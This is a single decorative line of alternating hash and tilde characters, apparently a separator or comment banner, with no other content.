#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#